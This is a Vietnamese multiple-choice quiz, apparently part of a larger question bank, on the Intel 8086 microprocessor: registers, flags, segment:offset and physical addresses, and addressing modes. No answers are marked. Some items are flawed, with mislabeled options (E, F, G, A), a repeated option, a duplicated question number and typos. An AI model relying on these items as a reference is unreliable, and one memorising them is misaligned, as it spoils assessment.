Mã hóa số hệ 2 sau đây dung các chữ số hệ 16: 1011 1001 1111B
A.    B9FH
B.     B8FH
C.     A9FH
D.    B10F
48
Trong vi xử lý 8086 ,cặp thanh ghi nào quản lý hoạt động của STACK ?

A.   SS : SP
B.   CS : IP
C.   BS : SP
D.   DS : SI

49
Chức năng của khối A.L.U trong cấu trúc vi xử lý 8086 là :

A.    Thực hiện các phép toán số học và Logic
B.     Thực hiện việc đếm lệnh
C.     Thực hiện giải mã lệnh
D.    Là cấu trúc nhớ trong quá trình giải mã lệnh
50
Thanh ghi nào dưới đây được mặc định giữ số đếm trong các lệnh lặp ?
A.    AX
B.     BX
C.     CX
D.    DX
51
Thanh ghi nào dưới đây thường giữ kết quả trong các phép nhân chia 16bít ?
A.    AX và CX
B.     AX và BP
C.     AX và DX
D.    AX và SI
52
Để truy cập bộ nhớ, CPU cung cấp địa chỉ gì cho bộ nhớ ?
A.    Logic
B.     Vật lý
C.     Offset
D.    Segment
53
Để xác định địa chỉ vật lý 20bít của 1 ô nhớ nào đó trong 1 đoạn bất kỳ thì 8086 phải dùng đến mấy thanh ghi 16bít ?
A.   2
B.   3
C.   4
D.   1
54
Hàm nào dưới đây cho phép hiện 1 ký tự ra màn hình tại vị trí con trỏ ?

A.    01h
B.     02h
C.     03h
D.    04h
55
Đoạn nhớ trong thanh ghi đoạn có dung lượng tối đa là ?
A.    16Kbyte
B.     32Kbyte
C.     64Kbyte
D.    128Kbyte
56
Thanh ghi cờ (16bít) được sử dụng mấy bít để làm cờ ?
A.    6
B.     7
C.     8
D.    9
57
Kích thước 8bit là kích thước của thanh ghi nào dưới đây ?
A.    DX
B.     DI
C.     DL
D.    DS
58
Kích thước của các thanh ghi Con trỏ và Chỉ số là ?
A.16 bit
B. 32bit
C. 8 bit
D. 32 bit chia đôi thành 16 bit
59
Kích thước 16 bit là kích thước của thanh ghi nào dưới đây ?
E.     AX
F.      AH
G.    AL
A.    AB
60
Thanh ghi (Registers) là ....... trong CPU.
A.    Một vùng nhớ
B.Một bộ nhớ
C.Một thanh nhớ
D.    Một đoạn nhớ
61
Thanh ghi cờ (16bít) có bao nhiêu cờ trạng thái ?
A.    3
B.6
C.9
D.    12
62
Thanh ghi cờ (16bít) có bao nhiêu cờ điều khiển ?
A.    3
B.6
C.9
D.    12
63
Sau khi thực hiện lệnh: XOR AX,AX thì cờ nào được tác động trong các cờ dưới đây ?
A.    CF
B.AF
C.PF
D.    ZF
64
Lệnh NEG có chức năng:
A.    Đổi dấu toán hạng nguồn
B.     Bù 2
C.     Bù 1 rồi cộng thêm 1 vào cuối cùng
D.    Cả ba đáp án trên đều đúng
65
Các yếu tố để lựa chọn bộ Vi xử lý bao gồm:
A.    Tốc độ
B.     Độ lớn BUS dữ liệu
C.     Độ lớn BUS dữ liệu
D.    Cả 3 đáp án trên
66
Sau lệnh LOOP, các giá trị nào dưới đây có thể bị thay đổi ?
A.    CX và ZF
B.     BX và ZF
C.     CX và CF
D.    DX va CF
67
Dạng địa chỉ sau: DS:IP được gọi là địa chỉ ?
A.    Logic
B.     Vật lý
C.     Ngăn xếp
D.    Đoạn ngăn xếp
68
Khái niệm về BUS dữ liệu của máy tính
A.   Là tập các đường vật lý cho phép vận chuyển tín hiệu mang dữ lieu (Data) giữa các thàh phần của máy tính.
B.   Là tập các đường logic cho phép vận chuyển tín hiệu mang dữ lieu (Data) giữa các thàh phần của máy tính.

C.   Là tập số các đường mạch in có trong main board liên kết giữa CPU và bộ nhớ.

D.   Là số các đường mạch in có trong main board
69
Khối nào trong sơ đồ khối cấu trúc của 8086 có chức năng đọc mã lệnh :

A.    ALU
B.     BIU
C.     EU
D.    EU &BIU
70
Pipeline là kỹ thuật gì?

A.   Kỹ thuật xử lý xen kẽ liên tục các dòng lệnh.
B.   Là một cải tiến của Intel nhằm tăng tốc độ nạp lệnh
C.   Là một cải tiến của Intel nhằm tăng khả năng lưu trữ trung gian các lệnh sau khi xử lý
D.   Không có ý nào đúng
71
Trong bộ vi xử lý 8086, bộ đệm lệnh làm nhiệm vụ:
A.   Đưa địa chỉ ra bus và trao đổi dữ liệu với BUS
B.   Làm tăng tốc độ xử lý thông tin của CPU
C.   Thực hiện lệnh
D.   Giải mã lệnh
72
Trong bộ vi xử lý 8086 các thanh ghi nào sau đây là các thanh ghi đa năng:
A.    Al, Bl, Cl, Dl
B.     AX, BX, CX, DX
C.     A, B, C, D
D.    SS, SP
73
Trong bộ vi xử lý 8086, các thanh ghi con trỏ và chỉ số
A.   Chứa địa chỉ đầu của các đoạn nhớ trong bộ nhớ
B.   Thường chứa địa chỉ lệch của các ô nhớ trong đoạn nhớ
C.   Phản ánh trạng thái của CPU
D.   Được sử dụng nhiều trong các phép toán số học
74
Trong bộ vi xử lý 8086 các thanh ghi nào sau đây là phần thấp của  các thanh ghi đa năng:
A.    Al, Bl, Cl, Dl
B.     AX, BX, CX, DX
C.     A, B, C, D
D.    SS, SP
75
Trong bộ vi xử lý 8086 các thanh ghi nào sau đây là các thanh ghi 8 bit:
A. Al, Bl, Cl, Dl
B.     AX, BX, CX, DX
C.     A, B, C, D
D.    SS, SP
76
Trong bộ vi xử lý 8086 các thanh ghi nào sau đây là các thanh ghi đoạn
A.    Al, Bl, Cl, Dl
B.     AX, BX, CX, DX
C.     CS, DS, ES, SS
D.    BP, SP
77
Trong bộ vi xử lý 8086 các thanh ghi đoạn là các thanh ghi bao nhiêu  bit:
A.    8 bit
B.     16 bit
C.     32 bit
D.    64 bit
78
Trong bộ vi xử lý 8086 thanh ghi đa năng AX là các thanh ghi có thể tự tách thành 2 thanh ghi nào sau đây:
A.    AH, AL
B.     AX, AH
C.     A, B
D.    AC, AD
79
Có thể lưu 1 từ (16 bit) dữ liệu trong
A.    AL
B.     BL
C.     CX
D.    DL
80
Trong bộ vi xử lý 8086/8088 các thanh ghi đoạn CS, DS, ES, SS
A.   Chứa địa chỉ đầu của các đoạn nhớ trong bộ nhớ
B.   Chứa địa chỉ lệch của các ô nhớ
C.   Phản ánh trạng thái của CPU
D.   Được sử dụng nhiều trong các phép toán số học
81
8086/8088 được cung cấp xung đồng hồ từ
A.   Nguồn đồng hồ bên ngoài
B.   Từ bộ vi xử lý khác
C.   Từ bên trong vì 8086 có bộ tạo dao động
D.   Tất cả các đáp án trên đều sai
82
Tín hiệu trên BUS dữ liệu của máy tính thế hệ 8086 là:
A.   Tín hiệu số
B.   Tín hiệu số tốc độ cao
C.   Tín hiệu số tương thích mức TTL
D.   Tất cả các đáp án trên đều đúng
83
Vi xử lý 8086 có thể quản lý được
A.    1KB bộ nhớ thực
B.     1MB bộ nhớ thực
C.     23KB bộ nhớ thực
D.    64 MB bộ nhớ thực
84
Trong bộ vi xử lý 8086 các thanh ghi đa năng AX, BX, CX, DX
A.   Chứa địa chỉ đầu của các đoạn nhớ trong bộ nhớ
B.   Chứa địa chỉ lệch của các ô nhớ
C.   Phản ánh trạng thái của CPU
D.    Được sử dụng nhiều trong các phép toán số học
85
Làm thế nào để tách riêng BUS địa chỉ:
A.   Dùng tín hiệu ALE
B.   Dùng tín hiệu /DEN
C.   Dùng các vi mạch chốt
D.   Kết hợp cả 2 ý A & C
86
CPU chỉ ra hiện tượng tràn có dấu bằng cách thiết lâp cờ nào sau đây:
A.    CF
B.     OF
C.     PF
D.    ZF
87
Bộ đệm lệnh của 8086 có bao nhiêu byte
A.    4 byte
B.     6 byte
C.     8 byte
D.    16 byte
88
Khái niệm về BUS điều khiển của máy tính là:
A.   Là tập các đường vật lý cho phép vận chuyển tín hiệu điều khiển và trạng thái giữa các thành phần của máy tính.

B.   Là tập các đường logic cho phép vận chuyển tín hiệu điều khiển và trạng thái giữa các thành phần của máy tính.

C.   Là các đường mạch in có trên mainboard liên kết CPU và các thành phần khác của máy tính.

D.   Là tập các đường vật lý cho phép vận chuyển tín hiệu điều khiển các thành phần của máy tính
89
Bộ vi xử lý là nơi
A.   Chứa mã lệnh
B.   Thực hiện lệnh
C.   Giải mã lệnh
D.    Giải mã và thực hiện lệnh
90
Cho giá trị của thanh ghi đoạn CS= 2800h, vị trí của đoạn CS trong bảng bộ nhớ là:
A.    28000H- 37000H
B.    28000H- 37FFFH
C.   2800H- 37FFH
D.   2800H- 370FFH
91
Cho giá trị của thanh ghi đoạn DS= E000H, vị trí của đoạn DS trong bảng bộ nhớ là:
A.    E0000H- EFFFFH
B.    E000H- EFFFH
C.   E0000H- E0FFFH
D.   E0000H- EF000H
91
Cho giá trị của thanh ghi SS = 2900H, vị trí đoạn SS trong bảng bộ nhớ là:
A.    29000H- 38FFFH
B.    29000H- 39FFFH
C.   2900H- 39FFFH
D.   29000- 37FFFH
92
Cho giá trị của thanh ghi đoạn ES = 1000H, vị trí đoạn ES trong bảng bộ nhớ là:
A.    10000H- 1FFFFH
B.    1000H- 1FFFH
C.   1000H- FFFFH
D.   10000H- 2FFFFH
93
Để chỉ địa chỉ logic 1000h trong đoạn mã, người ta dùng kí hiệu nào:
A.    CS:1000h
B.    CS- 1000h
C.   DS:1000h
D.   CS:[1000h]
94
Lệnh sau:
MOV [2000h],AX

A.    sẽ đưa nội dung chứa trong AX vào 2 ô nhớ liên tiếp DS:2000h và DS:2001h
B.    sẽ đưa nội dung chứa trong AX vào ô nhớ DS:2000h
C.   sẽ đưa nội dung chứa trong AX vào ô nhớ DS:2001h
D.   sẽ đưa nội dung chứa trong AX vào 2 ô nhớ liên tiếp DS:2001h và DS: 2001h
95
Lệnh: Mov AX,[BP+10]
A.     Thực hiện định địa chỉ tức thời
B.     Thực hiện định địa chỉ có nền
C.     Thực hiện định địa chi gián tiếp
D.     Thực hiện định địa chỉ co nền và có chỉ số
96
Lệnh: MOV AH,[BP+SI]
A.     Thực hiện định địa chỉ tức thời
B.     Thực hiện định địa chỉ gián tiếp
C.     Thực hiện định địa chỉ có nền
D.     Thực hiện định địa chỉ có nền và có chỉ số
97
Thanh ghi DS có giá trị là 1000h, đoạn dữ liệu sẽ có giá trị là:
A.    10000h- 1FFFFh
B.    1000h- 1FFFH
C.   10000- 20000H
D.   10000- 20FFFH
98
cho CS= 24F6H và IP= 634AH. Địa chỉ logic sẽ là:
A.     24F6: 634A
B.     24F6H-634AH
C.   24F6-634A
D.     Các đáp án trên đều sai
99
cho CS= 24F6H và IP= 634AH. Địa chỉ offset sẽ là:
A.   364A
B.     634A
C.   24F6
D.     24F6- 634A
100
cho CS= 24F6H và IP= 634AH. Địa chỉ vật lý sẽ là:
A.     2B2AAH
B.     24F6h+ 634AH
C.     2C2AAH
D.     8851H
101
cho CS= 24F6H và IP= 634AH. Địa chỉ vùng cao sẽ là:
A.     24F60
B.     24F60 + 0000
C.    24F6
D.     Đáp án A và B đều đúng
102
Câu lệnh sau:
MOV AL,DL
Nằm trong phép định địa chỉ:
A.     Thanh ghi
B.     Tức thời
C.     Gián tiếp thanh ghi
D.     Trực tiếp
103
Câu lệnh sau:
ADD AL,100
Nằm trong chế độ định địa chỉ:
A.     Thanh ghi
B.     Tức thì
C.     Gián tiếp
D.     Tương đối cơ sở
104
Câu lệnh:
MOV AL,[BX]
Nằm trong chế độ định địa chỉ:
A.     Gián tiếp thanh ghi
B.     Trực tiếp thanh ghi
C.     Thanh ghi
D.     Tương đối chỉ số
105
Cho CS = 1234h và IP = 1234h; địa chỉ vật lý sẽ là:
A.    12340h + 1234h
B.    13574h
C.   2468h
D.   Đáp án A, B đúng
106
Cho CS = 1234h và IP = 1234h; địa chỉ offset sẽ là:
A.     1234h
B.     1234: 1234
C.     2468h
D.     Các đáp án trên đều sai
107
Cho CS = 1234h và IP = 1234h; địa chỉ logic sẽ là:
A.     1234h:1234h
B.    1234:1234
C.     1234h
D.     Đáp án A, B đúng
108
Cho CS = 1234h và IP = 1234h; địa chỉ vùng thấp sẽ là:
A.     12340h
B.    12340 + 0000
C.     1234h
D.     Đáp án A, B đúng
109
Cho CS = 1111h và IP = ABCDh; địa chỉ vật lý sẽ là:
A.     1BCDDH
B.    11110H + ABCDH
C.     BCDEH
D.     Đáp án A, B đúng
110
Cho CS = 1111h và IP = ABCDh; địa chỉ logic sẽ là:
A.     1111:ABCD
B.     1111
C.     ABCD
D.     1ABCD
Bổ Sung


http://www.mediafire.com/view/0bla49g9uxadgia/VXL.doc